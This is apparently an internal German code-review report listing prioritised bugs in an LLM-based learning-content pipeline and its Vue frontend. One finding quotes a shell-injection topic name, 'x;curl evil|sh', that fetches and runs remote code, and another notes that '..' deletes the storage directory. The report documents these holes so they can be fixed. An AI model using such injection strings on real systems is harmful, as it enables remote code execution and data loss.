creator2/REVIEW.md

# Review-Befunde 2026-07-12

Gründliche Prüfung durch 5 parallele Reviews (E0/E1, E2/E3, E4+QA-Loop, Infra, Frontend).
Alle Hoch-Funde am Code nachverifiziert. Zeilennummern = Stand Arbeitskopie.

## Hoch

1. **pipeline.py:104 / main.py:93 — Pfad-Traversal beim Topic-Namen.**
   `topic_anlegen` prüft nur „nicht leer“. Name `..` → `DELETE /api/topics/..` läuft in
   `shutil.rmtree(KORPUS_DIR / topic)` → löscht `storage/` komplett inkl. SQLite-DB.
   Namen mit `/` schreiben Snapshots außerhalb von `storage/korpus/`.

2. **main.py:180 + Makefile:43 — Shell-Injektion über Transfer.**
   `make server-push TOPIC=<name>` interpoliert den Namen unquotiert in Shell-Rezepte
   (rsync/ssh-Zeilen). Topic `x;curl evil|sh` → Kommando-Ausführung.

3. **inventar.py:44 — Resume verliert Quell-Abschnitte still.**
   Pause/Budget-Stopp mitten in der Extraktion: einige Reader haben schon Atome verankert.
   Beim Resume greift der Idempotenz-Guard (`schon and not force`) und setzt die Quelle
   auf `atome` — die restlichen Abschnitte werden nie gelesen. QA merkt es nur, wenn ein
   ganzer Soll-Punkt leer bleibt.

4. **artefakte.py:49 — `nur_ohne`-Filter blockiert Flashcard-Nachgenerierung.**
   Filter = „hat irgendein lebendes Artefakt“. Atom mit lebendem Beispiel, aber ohne
   Flashcard wird nie nachgeneriert → Invariante „≥1 verifizierte Flashcard“ unerfüllbar,
   `atom_ohne_flashcard` bleibt offen, Loop dreht 10 wirkungslose Iterationen.

5. **guide.py:295 — Mathe-Checks laufen über Marker-Zeilen.**
   `_mathe_auftraege(lang, …)` bekommt den ungestrippten Text (nur `_stil_auftraege`
   strippt Marker). Atom-Titel wie `a_n` oder `A*-Suche` im Marker erzeugen Aufträge,
   die der Fix nie beheben darf (Marker sind unantastbar) → unfixierbarer `det_check`
   in jeder QA-Runde, Note bleibt <10, Loop brennt bis Limit.

6. **qa.py:68 — Befund-Dedup verliert Details.**
   `_persistieren` dedupliziert über `(art, item)` ohne `detail`. Mehrere `det_check`-
   Befunde derselben Section kollabieren: alte (schon behobene) Details bleiben „offen“,
   neue Details werden nie eingefügt → der Fix bekommt veraltete Aufträge, Konvergenz
   scheitert.

7. **agents.py:257 — CLI-Prozess-Leak bei Cancellation.**
   `_spawn` killt nur bei `TimeoutError`. Der Hedge (llm.py:71) cancelt den Verlierer-Task:
   `CancelledError` trifft `communicate()`, kein Kill, und das `finally` entfernt den
   Prozess aus `_prozesse` → Zombie-Prozess rechnet weiter, Tokens ohne Ledger-Zeile,
   für Stop/Pause unerreichbar.

8. **guide.py:380 — gescheiterte Fixes passieren das Gate.**
   Nach Fix-Fehlschlag bleiben die Aufträge in `sections.befunde`, aber niemand außer
   `_stage_fix` liest diese Spalte — entgegen dem Kommentar „die Ebenen-QA muss sie
   sehen“. Kritische Coverage-Lücken (z. B. „Atom-Inhalt fehlt“) können mit Note 10,0
   fertig gemeldet werden.

9. **Guide.vue:54/124 — Level-Toggle-Sackgasse.**
   `levels` zählt Kapitel-Level unabhängig vom Section-Inhalt; `anzeige` filtert leere
   Sections weg; bei `anzeige.length === 0` verschwindet die Nav samt Toggle.
   Mitten in E4 (M-Kapitel ohne Text): Toggle E→M → „Noch kein Guide generiert“,
   kein Weg zurück außer Reload.

## Mittel

### Budget / Ledger / Nebenläufigkeit
- **llm.py:63** — Hedge-Zwilling: nur die Tokens des Gewinners landen in `events`/Budget.
  Verlierer-Tokens (bis 32k) unsichtbar. Verletzt „jeder Call → Ledger-Zeile“.
- **llm.py:65** — Timeout des Haupt-Calls bricht die Hedge-Schleife ab und cancelt den
  fast fertigen Zwilling → Call zählt als infra, obwohl der Hedge geliefert hätte.
- **llm.py:120** — Budget wird nur nach Call-Ende geprüft, nie vor Start: parallele
  Wellen überschreiten das „harte“ Limit um in-flight × Call-Tokens.
- **llm.py:155 `panel`, struktur.py:77, guide.py:426/434/579, artefakte.py:144** —
  bare `asyncio.gather` statt `llm.alle`: bei LaufPause/Budget laufen Geschwister-Tasks
  weiter, schreiben Zustand und ziehen Tokens (genau der in llm.py dokumentierte Hazard).
- **agents.py:161** — API-Pfad prüft nach `_api_slot()` keinen Abbruch: pausierte Läufe
  feuern wartende API-Calls trotzdem ab.
- **agents.py:311** — opencode-Timeout: Tokens wurden erzeugt, aber mit 0 geloggt.

### Panels / destruktive Entscheide (fail-open statt fail-closed)
- **inventar.py:474/499** — `_soll_stichentscheid`/`_luecke_schliessen`: eine einzelne
  überlebende Panel-Stimme gilt als „einstimmig“ → Atom verworfen / Soll freigesprochen
  auf Basis EINES Richters (chunk_urteil macht es richtig).
- **inventar.py:456** — `_anker_fixen_batch` verwirft Atome auch dann, wenn der
  zuständige Batch-Call ausfiel (None ≠ negatives Urteil).
- **artefakte.py:130** — Re-Verify nach Fix: unparsbare Antwort / ausgelassene id →
  Artefakt endgültig verworfen (Panel-Ausfall behält, Fix-Ausfall vernichtet).

### Korpus / Soll
- **korpus.py:270 + 406** — `_konsens` löscht bestätigte Zeilen und baut aus Kandidaten
  neu: nachgesuchte Belege und der `geprueft`-Negativ-Cache gehen verloren → bezahlte
  Beleg-Judges wiederholen sich.
- **korpus.py:368/388** — Judge sieht nur `text[:40k]`, Nicht-Fund wird aber für die
  GANZE Quelle als `geprueft` verbucht → Belege jenseits 40k dauerhaft unauffindbar,
  Punkt wird ggf. fälschlich degradiert.
- **korpus.py:161** — Soll-Extraktion hat nur Quellen-Granularität: Pause zwischen
  Chunks → Resume extrahiert alles neu → doppelte Kandidaten blähen das √n-Band auf.
- **korpus.py:333/416** — uni-Topics ohne bestätigten Soll-Punkt: kein Repair-Pfad für
  `soll_leer`, Pipeline setzt trotzdem `korpus_fertig` → E1 verwirft Atome kaskadenartig.

### Struktur
- **struktur.py:251** — Split schneidet `ceil`-Chunks: 43 Atome → Teile 8,8,8,8,8,3;
  letzter Teil kann Band 4–8 verletzen, Repair reproduziert identisch → Befund ewig offen.
- **struktur.py:479** — `band`-Partnerprüfung misst gegen POST-Split-Bausteine, der
  Merge lief aber PRE-Split → QA fordert eine Latte, die der Schnitt nicht erreichen kann.

### Guide / QA-Loop
- **guide.py:553** — `qa_hash` wird vor der Fachlich-falsch-Prüfung persistiert:
  scheitert der Verdachts-Call, gilt die Section dauerhaft als geprüft (fail-open).
- **guide.py:544** — `offene_falsch` ist run-gescoped, `qa_hash` nicht: nach Pause/Resume
  verschwinden bestätigte Fakten-Fehler aus der QA.
- **guide.py:596** — KRITISCH-Routing wirft das Befund-Detail weg: der bestätigte Claim
  erreicht weder Prüfer noch Fix → Ping-Pong bis Limit.
- **guide.py:607 + auto_loop.py:24** — `bewegt = bool(betroffen)`: Guide-Ebene meldet
  immer „bewegt“ → Stillstands-Erkennung unerreichbar, Loop läuft immer bis 10.
- **guide.py:265/329** — Vorwärtsverweis: Auftrag erlaubt „erklären“, Detektor prüft
  nur Titel-Präsenz → instruktionskonformer Fix schließt den Befund nie.
- **guide.py:190** — Englisch-Heuristik: deutsche Homographen („an“, „will“, „not“),
  Schwelle 15 % ab 12 Tokens → deutsche Sätze werden als „englische Passage“ geflaggt,
  Auftrag unerfüllbar.

### Frontend
- **api.js:13** — Topic-Namen ohne `encodeURIComponent` in URL-Pfaden: `#`/`/` im Namen
  → Topic per UI unbenutzbar und unlöschbar.
- **Guide.vue:19** — `laden()` ohne Out-of-order-Schutz: langsame Antwort von Topic A
  überschreibt die Anzeige von Topic B.
- **Guide.vue:77** — Level-/Ansicht-Wechsel resettet Scrollposition nicht: Viewport
  landet in Platzhalter-Divs, Seite wirkt leer.
- **api.js:51** — WS-Cleanup entfernt `onclose` nicht: Zombie-Reconnect nach 2 s,
  doppelte State-Loads (v. a. bei Vite-HMR).
- **Ueben.vue:19** — Doppelklick auf „Richtig“: Karte doppelt gePOSTet (Leitner-Box
  springt 2 Stufen), Folgekarte fällt still aus dem Stapel.

## Niedrig (Auswahl)

- **pipeline.py:63 u. a.** — `runs.beendet='jetzt'` (Literal-String statt Timestamp).
- **ledger.py:58** — Kennzahlen zählen `status='timeout'`, llm schreibt aber `infra` → Spalte konstant 0.
- **config.py:13** — `CREATOR_DB` wird vor `_load_env()` gelesen: .env-Wert wirkungslos.
- **jsonx.py:14** — nur der ERSTE Code-Fence wird geparst; JSON nach einem Prosa-Fence geht verloren.
- **transfer.py:122** — `sections.befunde` (Fix-Aufträge mit Atom-IDs) wird beim Import nicht remapped.
- **ws.py:31** — jeder Push spawnt eigenen Send-Task: Out-of-order-Deltas, parallele `send_text`.
- **inventar.py:493** — Lücken-„Runden“ zählen Ledger-Events: Retries + Alt-Läufe zählen mit → Abbruch zu früh.
- **inventar.py:147** — Anker-Dedup: geerbte Anker im selben Pass nicht berücksichtigt → transitive Dublette überlebt.
- **inventar.py:352** — `quelle_unvollstaendig`-Repair meldet immer True → Stillstand nie erkannt.
- **guide.py:53** — `_MARKER_VOLL` bricht bei `>` im Atom-Titel.
- **guide.py:449** — `_pruefe_dich` matcht Frage per Substring: Umformulierung durch Fix → Antwort fehlt still.
- **guide.py:461** — Bausteine ohne Kapitel: NULL-Gruppen erben Level des ersten Bausteins, doppelte `null`-Keys in Vue.
- **struktur.py:77 / artefakte.py:144** — s. gather-Sammelpunkt oben.
- **markdown.js:57** — `lesestat` ignoriert `\[…\]`-Formeln → Lesezeit falsch.
- **style.css:225** — KaTeX-Overflow-Regeln fehlen für die Kompakt-Ansicht (mobil).
- **Kennzahlen.vue:8** — Topic-Wechsel ohne Lauf: alte Daten bleiben stehen.
- **App.vue:93 / Board.vue:99** — `stoppen()`/Menü-Aktionen ohne try/catch: Fehler unsichtbar.